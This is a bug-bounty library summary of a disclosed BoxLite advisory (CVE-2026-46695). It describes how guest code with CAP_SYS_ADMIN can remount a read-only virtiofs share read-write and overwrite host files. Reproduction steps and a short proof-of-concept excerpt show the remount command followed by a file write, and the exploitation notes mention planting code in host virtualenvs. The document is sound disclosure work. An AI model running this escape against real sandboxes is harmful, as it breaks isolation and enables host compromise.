# BoxLite: Permission Bypass Allows Modification of Read-Only Files

BoxLite enforced read-only virtiofs mounts only via guest-side MS_RDONLY while granting CAP_SYS_ADMIN, letting sandboxed code remount rw and write host files.

- Payout: Research
- Severity: critical
- Program: BoxLite
- Found by: XlabAITeam, keenanwgn, A7um
- Disclosed: 2026-05-21
- CVE: CVE-2026-46695
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-g6ww-w5j2-r7x3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g6ww-w5j2-r7x3
- Tags: area:cloud domain:cloud impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:linux tech:rust technique:source-review vuln:access-control vuln:misconfiguration vuln:sandbox-escape

**Target:** virtiofs host directory share in lightweight VM sandbox
**Root cause:** libkrun's krun_add_virtiofs has no read-only flag, so BoxLite dropped read_only at the hypervisor layer and relied on the guest agent passing -o ro, while containers received all 41 capabilities including CAP_SYS_ADMIN.
**Steps:**
1. Mount a host dir with read_only=True via BoxOptions volumes=[(host_dir, '/mnt/sensitive', True)]
2. Confirm /proc/mounts shows `uservol0 /mnt/sensitive virtiofs ro,relatime 0 0` and writes fail
3. Run `mount -o remount,rw /mnt/sensitive` inside the guest (succeeds due to CAP_SYS_ADMIN)
4. Verify mount flags now show `rw` and write `echo 'modified content' > /mnt/sensitive/read_only.txt`
5. Check host file content changed to 'modified content'
**How found:** Code review of the mount path: noticed read_only was only logged in Krun::create and never passed to add_virtiofs, confirmed the FFI has no ro variant, and that enforcement was delegated to the untrusted guest agent while all capabilities were granted.
**Exploitation:** Untrusted code running in the sandbox, which is the intended use case, executes a single remount command to flip the virtiofs share to rw, then writes arbitrary content into host directories mounted read-only (agent code, venvs, credentials, configs), planting code the host later executes.
**Escalation:** Writing to mounted user code or virtualenvs yields host code execution and supply-chain compromise beyond the sandbox boundary.
**Insight:** When a sandbox claims read-only mounts, verify enforcement at the device/hypervisor layer, not the guest mount syscall; grep for security flags that are logged but not forwarded to the privileged API, and check whether CAP_SYS_ADMIN lets the guest undo them.

## Proof of concept (copied exactly from the original report)

**Remount command bypassing MS_RDONLY**

```
r3 = await run(box, f"mount -o remount,rw {guest_mount} 2>&1; echo remount_exit:$?")
               print(f"    Remount result: {r3['stdout'].strip()}")
               r4 = await run(box, f"cat /proc/mounts | grep sensitive")
               print(f"    Mount flags after: {r4['stdout'].strip()}")
               print()
   
               print("[!!!] Step 6: Writing to 'read-only' mount after bypass...")
               r5 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?")
```